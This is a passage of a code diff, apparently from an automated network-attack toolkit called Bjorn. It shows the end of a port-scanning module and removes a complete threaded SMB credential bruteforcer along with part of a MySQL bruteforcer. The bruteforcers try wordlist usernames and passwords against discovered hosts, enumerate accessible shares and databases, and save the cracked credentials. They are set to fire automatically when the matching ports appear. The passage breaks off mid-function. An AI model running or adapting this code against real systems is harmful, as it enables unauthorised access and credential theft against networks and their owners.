for idx, ip in enumerate(self.ip_data.ip_list, 1):
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
|
||||
# Update comment params for live display
|
||||
self.outer.shared_data.comment_params = {
|
||||
"ip": ip, "progress": f"{idx}/{total_targets}",
|
||||
"ports_found": str(sum(len(v) for v in self.open_ports.values()))
|
||||
}
|
||||
|
||||
worker = self.outer.PortScannerWorker(
|
||||
self.outer, ip, self.open_ports,
|
||||
self.portstart, self.portend, self.extra_ports
|
||||
)
|
||||
worker.run()
|
||||
|
||||
if idx % 10 == 0 or idx == total_targets:
|
||||
found = sum(len(v) for v in self.open_ports.values())
|
||||
self.outer.logger.info(
|
||||
f"Port scan progress: {idx}/{total_targets} hosts, {found} open ports so far"
|
||||
)
|
||||
|
||||
# unique list of open ports
|
||||
self.all_ports = sorted(list({p for plist in self.open_ports.values() for p in plist}))
|
||||
alive_macs = set(self.ip_data.mac_list)
|
||||
total_open = sum(len(v) for v in self.open_ports.values())
|
||||
self.outer.logger.info(f"Port scan done: {total_open} open ports across {total_targets} host(s)")
|
||||
return self.ip_data, self.open_ports, self.all_ports, alive_macs
|
||||
|
||||
# ---------- orchestration ----------
|
||||
def scan(self):
|
||||
# Reset only local stop flag for this action. Never touch orchestrator_should_exit here.
|
||||
self._stop_event.clear()
|
||||
try:
|
||||
if self._should_stop():
|
||||
self.logger.info("Orchestrator switched to manual mode. Stopping scanner.")
|
||||
return
|
||||
|
||||
now = time.time()
|
||||
elapsed = now - self._last_scan_started if self._last_scan_started else 1e9
|
||||
if elapsed < self.scan_min_interval_s:
|
||||
remaining = int(self.scan_min_interval_s - elapsed)
|
||||
self.logger.info_throttled(
|
||||
f"Network scan skipped (min interval active, remaining={remaining}s)",
|
||||
key="scanner_min_interval_skip",
|
||||
interval_s=15.0,
|
||||
)
|
||||
return
|
||||
self._last_scan_started = now
|
||||
|
||||
self.shared_data.bjorn_orch_status = "NetworkScanner"
|
||||
self.shared_data.comment_params = {}
|
||||
self.logger.info("Starting Network Scanner")
|
||||
|
||||
# network
|
||||
network = self.get_network() if not self.shared_data.use_custom_network \
|
||||
else ipaddress.ip_network(self.shared_data.custom_network, strict=False)
|
||||
|
||||
if network is None:
|
||||
self.logger.error("No network available. Aborting scan.")
|
||||
return
|
||||
|
||||
self.shared_data.bjorn_status_text2 = str(network)
|
||||
self.shared_data.comment_params = {"network": str(network)}
|
||||
portstart = int(self.shared_data.portstart)
|
||||
portend = int(self.shared_data.portend)
|
||||
extra_ports = self.shared_data.portlist
|
||||
|
||||
scanner = self.ScanPorts(self, network, portstart, portend, extra_ports)
|
||||
result = scanner.start()
|
||||
if result is None:
|
||||
self.logger.info("Scan interrupted (manual mode).")
|
||||
return
|
||||
|
||||
ip_data, open_ports_by_ip, all_ports, alive_macs = result
|
||||
|
||||
if self._should_stop():
|
||||
self.logger.info("Scan canceled before DB finalization.")
|
||||
return
|
||||
|
||||
# push ports -> DB (merge by MAC)
|
||||
ip_to_mac = {ip: mac for ip, _, mac in zip(ip_data.ip_list, ip_data.hostname_list, ip_data.mac_list)}
|
||||
|
||||
try:
|
||||
existing_map = {h['mac_address']: h for h in self.shared_data.db.get_all_hosts()}
|
||||
except Exception as e:
|
||||
self.logger.error(f"DB get_all_hosts for port merge failed: {e}")
|
||||
existing_map = {}
|
||||
|
||||
for ip, ports in open_ports_by_ip.items():
|
||||
mac = ip_to_mac.get(ip)
|
||||
if not mac:
|
||||
slot = scanner.pending.setdefault(
|
||||
ip,
|
||||
{'hostnames': set(), 'ports': set(), 'first_seen': int(time.time()), 'essid': scanner.essid}
|
||||
)
|
||||
slot['ports'].update(ports or [])
|
||||
continue
|
||||
|
||||
prev = existing_map.get(mac)
|
||||
ports_set = set()
|
||||
if prev and prev.get('ports'):
|
||||
try:
|
||||
ports_set.update([p for p in prev['ports'].split(';') if p])
|
||||
except Exception:
|
||||
pass
|
||||
ports_set.update(str(p) for p in (ports or []))
|
||||
|
||||
try:
|
||||
self.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ports=';'.join(sorted(ports_set, key=lambda x: int(x))),
|
||||
alive=1
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed to update ports for {mac}: {e}")
|
||||
|
||||
# Late resolution pass
|
||||
unresolved_before = len(scanner.pending)
|
||||
for ip, data in list(scanner.pending.items()):
|
||||
if self._should_stop():
|
||||
break
|
||||
try:
|
||||
guess_hostname = next(iter(data['hostnames']), "")
|
||||
except Exception:
|
||||
guess_hostname = ""
|
||||
mac = self.get_mac_address(ip, guess_hostname)
|
||||
if not mac:
|
||||
continue
|
||||
|
||||
mac = mac.lower()
|
||||
vendor = self.mac_to_vendor(mac, scanner.vendor_map)
|
||||
try:
|
||||
self.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ips=ip,
|
||||
hostnames=';'.join(data['hostnames']) or None,
|
||||
vendor=vendor,
|
||||
essid=data.get('essid'),
|
||||
alive=1
|
||||
)
|
||||
if data['ports']:
|
||||
self.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ports=';'.join(str(p) for p in sorted(data['ports'], key=int)),
|
||||
alive=1
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed to resolve pending IP {ip}: {e}")
|
||||
continue
|
||||
del scanner.pending[ip]
|
||||
|
||||
if scanner.pending:
|
||||
self.logger.info(
|
||||
f"Unresolved IPs (kept in-memory only this run): {len(scanner.pending)} "
|
||||
f"(resolved during late pass: {unresolved_before - len(scanner.pending)})"
|
||||
)
|
||||
|
||||
# stats
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
self.logger.error(f"DB get_all_hosts for stats failed: {e}")
|
||||
rows = []
|
||||
|
||||
alive_hosts = [r for r in rows if int(r.get('alive') or 0) == 1]
|
||||
all_known = len(rows)
|
||||
|
||||
total_open_ports = 0
|
||||
for r in alive_hosts:
|
||||
ports_txt = r.get('ports') or ""
|
||||
if ports_txt:
|
||||
try:
|
||||
total_open_ports += len([p for p in ports_txt.split(';') if p])
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
vulnerabilities_count = self.shared_data.db.count_distinct_vulnerabilities(alive_only=True)
|
||||
except Exception:
|
||||
vulnerabilities_count = 0
|
||||
|
||||
try:
|
||||
self.shared_data.db.set_stats(
|
||||
total_open_ports=total_open_ports,
|
||||
alive_hosts_count=len(alive_hosts),
|
||||
all_known_hosts_count=all_known,
|
||||
vulnerabilities_count=int(vulnerabilities_count)
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed to set stats: {e}")
|
||||
|
||||
# Update comment params with final stats
|
||||
self.shared_data.comment_params = {
|
||||
"alive_hosts": str(len(alive_hosts)),
|
||||
"total_ports": str(total_open_ports),
|
||||
"vulns": str(int(vulnerabilities_count)),
|
||||
"network": str(network)
|
||||
}
|
||||
|
||||
# WAL checkpoint + optimize
|
||||
try:
|
||||
if hasattr(self.shared_data, "db") and hasattr(self.shared_data.db, "execute"):
|
||||
self.shared_data.db.execute("PRAGMA wal_checkpoint(TRUNCATE);")
|
||||
self.shared_data.db.execute("PRAGMA optimize;")
|
||||
self.logger.debug("WAL checkpoint TRUNCATE + PRAGMA optimize executed.")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Checkpoint/optimize skipped or failed: {e}")
|
||||
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.logger.info("Network scan complete (DB updated).")
|
||||
|
||||
except Exception as e:
|
||||
if self._should_stop():
|
||||
self.logger.info("Orchestrator switched to manual mode. Gracefully stopping the network scanner.")
|
||||
else:
|
||||
self.logger.error(f"Error in scan: {e}")
|
||||
finally:
|
||||
with self.lock:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# ---------- thread wrapper ----------
|
||||
def start(self):
|
||||
if not self.running:
|
||||
self.running = True
|
||||
self._stop_event.clear()
|
||||
# Non-daemon so orchestrator can join it reliably (no orphan thread).
|
||||
self.thread = threading.Thread(target=self.scan_wrapper, daemon=False)
|
||||
self.thread.start()
|
||||
logger.info("NetworkScanner started.")
|
||||
|
||||
def scan_wrapper(self):
|
||||
try:
|
||||
self.scan()
|
||||
finally:
|
||||
with self.lock:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.running = False
|
||||
logger.debug("bjorn_progress reset to empty string")
|
||||
|
||||
def stop(self):
|
||||
if self.running:
|
||||
self.running = False
|
||||
self._stop_event.set()
|
||||
try:
|
||||
if hasattr(self, "thread") and self.thread.is_alive():
|
||||
self.thread.join(timeout=15)
|
||||
except Exception:
|
||||
pass
|
||||
logger.info("NetworkScanner stopped.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
from shared import SharedData
|
||||
sd = SharedData()
|
||||
scanner = NetworkScanner(sd)
|
||||
scanner.scan()
|
||||
@@ -1,389 +0,0 @@
|
||||
"""smb_bruteforce.py - Threaded SMB credential bruteforcer with share enumeration."""
|
||||
|
||||
import os
|
||||
import shlex
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
from subprocess import Popen, PIPE, TimeoutExpired
|
||||
from smb.SMBConnection import SMBConnection
|
||||
from queue import Queue
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
|
||||
from shared import SharedData
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="smb_bruteforce.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "SMBBruteforce"
|
||||
b_module = "smb_bruteforce"
|
||||
b_status = "brute_force_smb"
|
||||
b_port = 445
|
||||
b_parent = None
|
||||
b_service = '["smb"]'
|
||||
b_trigger = 'on_any:["on_service:smb","on_new_port:445"]'
|
||||
b_priority = 70
|
||||
b_cooldown = 1800 # 30 min between runs
|
||||
b_rate_limit = '3/86400' # max 3 per day
|
||||
b_enabled = 1
|
||||
b_action = "normal"
|
||||
b_timeout = 600
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 3
|
||||
b_risk_level = "medium"
|
||||
b_tags = ["bruteforce", "smb", "credentials", "shares"]
|
||||
b_category = "exploitation"
|
||||
b_name = "SMB Bruteforce"
|
||||
b_description = "Threaded SMB credential bruteforcer with share enumeration."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "SMBBruteforce.png"
|
||||
|
||||
IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$'}
|
||||
|
||||
|
||||
class SMBBruteforce:
|
||||
"""Orchestrator wrapper for SMBConnector."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.smb_bruteforce = SMBConnector(shared_data)
|
||||
logger.info("SMBConnector initialized.")
|
||||
|
||||
def bruteforce_smb(self, ip, port):
|
||||
"""Run SMB bruteforce for (ip, port)."""
|
||||
return self.smb_bruteforce.run_bruteforce(ip, port)
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""Orchestrator entry point. Returns 'success' or 'failed'."""
|
||||
self.shared_data.bjorn_orch_status = "SMBBruteforce"
|
||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||
success, results = self.bruteforce_smb(ip, port)
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
|
||||
class SMBConnector:
|
||||
"""Handles SMB attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# Wordlists
|
||||
self.users = self._read_lines(shared_data.users_file)
|
||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||
|
||||
# Cache IP -> (mac, hostname)
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
|
||||
self.lock = threading.Lock()
|
||||
self.results: List[List[str]] = [] # [mac, ip, hostname, share, user, password, port]
|
||||
self.queue = Queue()
|
||||
self.progress = None
|
||||
|
||||
# ---------- file utils ----------
|
||||
@staticmethod
|
||||
def _read_lines(path: str) -> List[str]:
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8", errors="ignore") as f:
|
||||
return [l.rstrip("\n\r") for l in f if l.strip()]
|
||||
except Exception as e:
|
||||
logger.error(f"Cannot read file {path}: {e}")
|
||||
return []
|
||||
|
||||
# ---------- mapping DB hosts ----------
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# ---------- SMB ----------
|
||||
def smb_connect(self, adresse_ip: str, user: str, password: str) -> List[str]:
|
||||
conn = SMBConnection(user, password, "Bjorn", "Target", use_ntlm_v2=True)
|
||||
timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6))
|
||||
try:
|
||||
conn.connect(adresse_ip, 445, timeout=timeout)
|
||||
shares = conn.listShares()
|
||||
accessible = []
|
||||
for share in shares:
|
||||
if share.isSpecial or share.isTemporary or share.name in IGNORED_SHARES:
|
||||
continue
|
||||
try:
|
||||
conn.listPath(share.name, '/')
|
||||
accessible.append(share.name)
|
||||
logger.info(f"Access to share {share.name} successful on {adresse_ip} with user '{user}'")
|
||||
except Exception as e:
|
||||
logger.debug(f"Error accessing share {share.name} on {adresse_ip} with user '{user}': {e}")
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
return accessible
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
def smbclient_l(self, adresse_ip: str, user: str, password: str) -> List[str]:
|
||||
timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6))
|
||||
cmd = ['smbclient', '-L', adresse_ip, '-U', f'{user}%{password}']
|
||||
process = None
|
||||
try:
|
||||
process = Popen(cmd, shell=False, stdout=PIPE, stderr=PIPE)
|
||||
try:
|
||||
stdout, stderr = process.communicate(timeout=timeout)
|
||||
except TimeoutExpired:
|
||||
try:
|
||||
process.kill()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
stdout, stderr = process.communicate(timeout=2)
|
||||
except Exception:
|
||||
stdout, stderr = b"", b""
|
||||
if b"Sharename" in stdout:
|
||||
logger.info(f"Successful auth for {adresse_ip} with '{user}' using smbclient -L")
|
||||
return self.parse_shares(stdout.decode(errors="ignore"))
|
||||
else:
|
||||
logger.info(f"Trying smbclient -L for {adresse_ip} with user '{user}'")
|
||||
return []
|
||||
except Exception as e:
|
||||
logger.error(f"Error executing smbclient -L for {adresse_ip}: {e}")
|
||||
return []
|
||||
finally:
|
||||
if process:
|
||||
try:
|
||||
if process.poll() is None:
|
||||
process.kill()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
if process.stdout:
|
||||
process.stdout.close()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
if process.stderr:
|
||||
process.stderr.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def parse_shares(smbclient_output: str) -> List[str]:
|
||||
shares = []
|
||||
for line in smbclient_output.splitlines():
|
||||
if line.strip() and not line.startswith("Sharename") and not line.startswith("---------"):
|
||||
parts = line.split()
|
||||
if parts:
|
||||
name = parts[0]
|
||||
if name not in IGNORED_SHARES:
|
||||
shares.append(name)
|
||||
return shares
|
||||
|
||||
# ---------- DB upsert fallback ----------
|
||||
def _fallback_upsert_cred(self, *, mac, ip, hostname, user, password, port, database=None):
|
||||
mac_k = mac or ""
|
||||
ip_k = ip or ""
|
||||
user_k = user or ""
|
||||
db_k = database or ""
|
||||
port_k = int(port or 0)
|
||||
|
||||
try:
|
||||
with self.shared_data.db.transaction(immediate=True):
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT OR IGNORE INTO creds(service,mac_address,ip,hostname,"user","password",port,"database",extra)
|
||||
VALUES('smb',?,?,?,?,?,?,?,NULL)
|
||||
""",
|
||||
(mac_k, ip_k, hostname or "", user_k, password or "", port_k, db_k),
|
||||
)
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
UPDATE creds
|
||||
SET "password"=?,
|
||||
hostname=COALESCE(?, hostname),
|
||||
last_seen=CURRENT_TIMESTAMP
|
||||
WHERE service='smb'
|
||||
AND COALESCE(mac_address,'')=?
|
||||
AND COALESCE(ip,'')=?
|
||||
AND COALESCE("user",'')=?
|
||||
AND COALESCE(COALESCE("database",""),'')=?
|
||||
AND COALESCE(port,0)=?
|
||||
""",
|
||||
(password or "", hostname or None, mac_k, ip_k, user_k, db_k, port_k),
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"fallback upsert_cred failed for {ip} {user}: {e}")
|
||||
|
||||
# ---------- worker / queue ----------
|
||||
def worker(self, success_flag):
|
||||
"""Worker thread for SMB bruteforce attempts."""
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||
break
|
||||
|
||||
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||
try:
|
||||
shares = self.smb_connect(adresse_ip, user, password)
|
||||
if shares:
|
||||
with self.lock:
|
||||
for share in shares:
|
||||
if share in IGNORED_SHARES:
|
||||
continue
|
||||
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
|
||||
logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Share:{share}")
|
||||
self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port), "share": shares[0] if shares else ""}
|
||||
self.save_results()
|
||||
self.removeduplicates()
|
||||
success_flag[0] = True
|
||||
finally:
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
self.queue.task_done()
|
||||
|
||||
# Optional delay between attempts
|
||||
if getattr(self.shared_data, "timewait_smb", 0) > 0:
|
||||
time.sleep(self.shared_data.timewait_smb)
|
||||
|
||||
|
||||
def run_bruteforce(self, adresse_ip: str, port: int):
|
||||
self.results = []
|
||||
mac_address = self.mac_for_ip(adresse_ip)
|
||||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||
|
||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||
if total_tasks == 0:
|
||||
logger.warning("No users/passwords loaded. Abort.")
|
||||
return False, []
|
||||
|
||||
self.progress = ProgressTracker(self.shared_data, total_tasks)
|
||||
success_flag = [False]
|
||||
|
||||
def run_primary_phase(passwords):
|
||||
phase_tasks = len(self.users) * len(passwords)
|
||||
if phase_tasks == 0:
|
||||
return
|
||||
for user in self.users:
|
||||
for password in passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
threads = []
|
||||
thread_count = min(8, max(1, phase_tasks))
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
try:
|
||||
run_primary_phase(dict_passwords)
|
||||
|
||||
if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(
|
||||
f"SMB dictionary phase failed on {adresse_ip}:{port}. "
|
||||
f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
|
||||
)
|
||||
run_primary_phase(fallback_passwords)
|
||||
|
||||
# Keep smbclient -L fallback on dictionary passwords only (cost control).
|
||||
if not success_flag[0] and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(f"No success via SMBConnection. Trying smbclient -L for {adresse_ip}")
|
||||
for user in self.users:
|
||||
for password in dict_passwords:
|
||||
shares = self.smbclient_l(adresse_ip, user, password)
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
if shares:
|
||||
with self.lock:
|
||||
for share in shares:
|
||||
if share in IGNORED_SHARES:
|
||||
continue
|
||||
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
|
||||
logger.success(
|
||||
f"(SMB) Found credentials IP:{adresse_ip} | User:{user} | Share:{share} via smbclient -L"
|
||||
)
|
||||
self.save_results()
|
||||
self.removeduplicates()
|
||||
success_flag[0] = True
|
||||
if getattr(self.shared_data, "timewait_smb", 0) > 0:
|
||||
time.sleep(self.shared_data.timewait_smb)
|
||||
|
||||
self.progress.set_complete()
|
||||
return success_flag[0], self.results
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# ---------- persistence DB ----------
|
||||
def save_results(self):
|
||||
# Insert results into creds (service='smb'), database = <share>
|
||||
for mac, ip, hostname, share, user, password, port in self.results:
|
||||
try:
|
||||
self.shared_data.db.insert_cred(
|
||||
service="smb",
|
||||
mac=mac,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
user=user,
|
||||
password=password,
|
||||
port=port,
|
||||
database=share, # uses the 'database' column to distinguish shares
|
||||
extra=None
|
||||
)
|
||||
except Exception as e:
|
||||
if "ON CONFLICT clause does not match" in str(e):
|
||||
self._fallback_upsert_cred(
|
||||
mac=mac, ip=ip, hostname=hostname, user=user,
|
||||
password=password, port=port, database=share
|
||||
)
|
||||
else:
|
||||
logger.error(f"insert_cred failed for {ip} {user} share={share}: {e}")
|
||||
self.results = []
|
||||
|
||||
def removeduplicates(self):
|
||||
# No longer needed with unique index; kept for compat.
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Standalone mode, not used in prod
|
||||
try:
|
||||
sd = SharedData()
|
||||
smb_bruteforce = SMBBruteforce(sd)
|
||||
logger.info("SMB brute force module ready.")
|
||||
exit(0)
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
|
||||
@@ -1,312 +0,0 @@
|
||||
"""sql_bruteforce.py - Threaded MySQL credential bruteforcer with database enumeration."""
|
||||
|
||||
import os
|
||||
import pymysql
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
from queue import Queue
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
|
||||
from shared import SharedData
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="sql_bruteforce.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "SQLBruteforce"
|
||||
b_module = "sql_bruteforce"
|
||||
b_status = "brute_force_sql"
|
||||
b_port = 3306
|
||||
b_parent = None
|
||||
b_service = '["sql"]'
|
||||
b_trigger = 'on_any:["on_service:sql","on_new_port:3306"]'
|
||||
b_priority = 70
|
||||
b_cooldown = 1800 # 30 min between runs
|
||||
b_rate_limit = '3/86400' # max 3 per day
|
||||
b_enabled = 1
|
||||
b_action = "normal"
|
||||
b_timeout = 600
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 3
|
||||
b_risk_level = "medium"
|
||||
b_tags = ["bruteforce", "sql", "mysql", "credentials"]
|
||||
b_category = "exploitation"
|
||||
b_name = "SQL Bruteforce"
|
||||
b_description = "Threaded MySQL credential bruteforcer with database enumeration."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "SQLBruteforce.png"
|
||||
|
||||
class SQLBruteforce:
|
||||
"""Orchestrator wrapper for SQLConnector."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.sql_bruteforce = SQLConnector(shared_data)
|
||||
logger.info("SQLConnector initialized.")
|
||||
|
||||
def bruteforce_sql(self, ip, port):
|
||||
"""Run SQL bruteforce for (ip, port)."""
|
||||
return self.sql_bruteforce.run_bruteforce(ip, port)
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""Orchestrator entry point. Returns 'success' or 'failed'."""
|
||||
self.shared_data.bjorn_orch_status = "SQLBruteforce"
|
||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||
success, results = self.bruteforce_sql(ip, port)
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
|
||||
class SQLConnector:
|
||||
"""Handles SQL (MySQL) attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# Wordlists
|
||||
self.users = self._read_lines(shared_data.users_file)
|
||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||
|
||||
# Cache IP -> (mac, hostname)
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
|
||||
self.lock = threading.Lock()
|
||||
self.results: List[List[str]] = [] # [ip, user, password, port, database, mac, hostname]
|
||||
self.queue = Queue()
|
||||
self.progress = None
|
||||
|
||||
# ---------- file utils ----------
|
||||
@staticmethod
|
||||
def _read_lines(path: str) -> List[str]:
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8", errors="ignore") as f:
|
||||
return [l.rstrip("\n\r") for l in f if l.strip()]
|
||||
except Exception as e:
|
||||
logger.error(f"Cannot read file {path}: {e}")
|
||||
return []
|
||||
|
||||
# ---------- mapping DB hosts ----------
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# ---------- SQL ----------
|
||||
def sql_connect(self, adresse_ip: str, user: str, password: str, port: int = 3306):
|
||||
"""
|
||||
Connect without DB then SHOW DATABASES. Returns (True, [dbs]) or (False, []).
|
||||
"""
|
||||
timeout = int(getattr(self.shared_data, "sql_connect_timeout_s", 6))
|
||||
try:
|
||||
conn = pymysql.connect(
|
||||
host=adresse_ip,
|
||||
user=user,
|
||||
password=password,
|
||||
port=port,
|
||||
connect_timeout=timeout,
|
||||
read_timeout=timeout,
|
||||
write_timeout=timeout,
|
||||
)
|
||||
try:
|
||||
with conn.cursor() as cursor:
|
||||
cursor.execute("SHOW DATABASES")
|
||||
databases = [db[0] for db in cursor.fetchall()]
|
||||
finally:
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
logger.info(f"Successfully connected to {adresse_ip} with user {user}")
|
||||
logger.info(f"Available databases: {', '.join(databases)}")
|
||||
return True, databases
|
||||
except pymysql.Error as e:
|
||||
logger.debug(f"Failed to connect to {adresse_ip} with user {user}: {e}")
|
||||
return False, []
|
||||
|
||||
# ---------- DB upsert fallback ----------
|
||||
def _fallback_upsert_cred(self, *, mac, ip, hostname, user, password, port, database=None):
|
||||
mac_k = mac or ""
|
||||
ip_k = ip or ""
|
||||
user_k = user or ""
|
||||
db_k = database or ""
|
||||
port_k = int(port or 0)
|
||||
|
||||
try:
|
||||
with self.shared_data.db.transaction(immediate=True):
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT OR IGNORE INTO creds(service,mac_address,ip,hostname,"user","password",port,"database",extra)
|
||||
VALUES('sql',?,?,?,?,?,?,?,NULL)
|
||||
""",
|
||||
(mac_k, ip_k, hostname or "", user_k, password or "", port_k, db_k),
|
||||
)
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
UPDATE creds
|
||||
SET "password"=?,
|
||||
hostname=COALESCE(?, hostname),
|
||||
last_seen=CURRENT_TIMESTAMP
|
||||
WHERE service='sql'
|
||||
AND COALESCE(mac_address,'')=?
|
||||
AND COALESCE(ip,'')=?
|
||||
AND COALESCE("user",'')=?
|
||||
AND COALESCE(COALESCE("database",""),'')=?
|
||||
AND COALESCE(port,0)=?
|
||||
""",
|
||||
